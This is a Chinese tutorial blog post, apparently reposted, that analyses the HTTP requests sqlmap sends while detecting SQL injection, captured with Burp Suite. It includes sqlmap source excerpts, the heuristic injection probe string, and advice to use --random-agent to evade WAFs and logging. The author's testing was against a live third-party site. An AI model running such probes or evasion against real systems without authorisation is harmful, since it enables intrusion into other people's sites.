副标题[/!--empirenews.page--]
很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什么?
本文就用我们看的见的角度来分析,看看sqlmap到底发送了什么payload,这些payload是怎么出来的,不深入代码层面。
测试环境:
- sqlmap(1.3.6.58#dev)
- Burp Suite
- http://attack.com?1.php?id=1
测试方式
利用 sqlmap 的 proxy 参数,我们将代理设置为 8080 端口用 burpsuite 进行抓包。
- sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080"
(测试了很久好像本地搭建的环境无法抓包,所以就找了有注入点的网站,漏洞已上报给漏洞平台)
抓取到的包如下 :

sqlmap 的准备工作
我们也观察到,sqlmap 默认发送的 User-Agent 是这样的。
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
所以为了避免被 waf 或者日志里面记录,我们一般可以添加一个 --random-agent 参数在后面。
首先我们的 sqlmap 会连续发送出很多数据包来检测目标网站是否稳定:
- GET /xxxx.php?id=1 HTTP/1.1
- Host: www.xxxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
-
- [INFO] testing connection to the target URL
- [INFO] testing if the target URL content is stable
- [INFO] target URL content is stable
接下来会检测是否为 dynamic,和上面的请求包相比,sqlmap 修改了 id 后面的值。
- GET /xxxx.php?id=2324 HTTP/1.1
- Host: www.xxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
-
- [INFO] testing if GET parameter 'id' is dynamic
看不懂这是什么骚操作,我们来看看源码里面怎么说 (sqlmaplibcontrollerchecks.py)。
- def checkDynParam(place, parameter, value):
- """
- This function checks if the URL parameter is dynamic. If it is
- dynamic, the content of the page differs, otherwise the
- dynamicity might depend on another parameter.
- """
根据输出语句的关键词查找,我追踪到了这个 checkDynParam 函数,大概的作用就是修改我们现在获取到的参数值,看修改前后的页面返回是否相同(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的),若有变化(或者说这个参数是真实有效的),sqlmap 才会走到下一步。
下一步的数据包和功能如下:
- GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1
- Host: www.xxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
-
- [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
我们将上面的 url 编码解码:
- /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22
- /xxxx.php?id=1'.),,.(.)"
这几个字符串就能判断是 MySQL 数据库?又是什么骚操作,再看看源码吧 (sqlmaplibcontrollerckecks.py):
- infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
找到了一条语句,跟踪这个 getErrorParsedDBMSes() 函数。
- def getErrorParsedDBMSes():
- """
- Parses the knowledge base htmlFp list and return its values
- formatted as a human readable string.
-
- @return: list of possible back-end DBMS based upon error messages
- parsing.
- @rtype: C{str}
- """
(编辑:威海站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|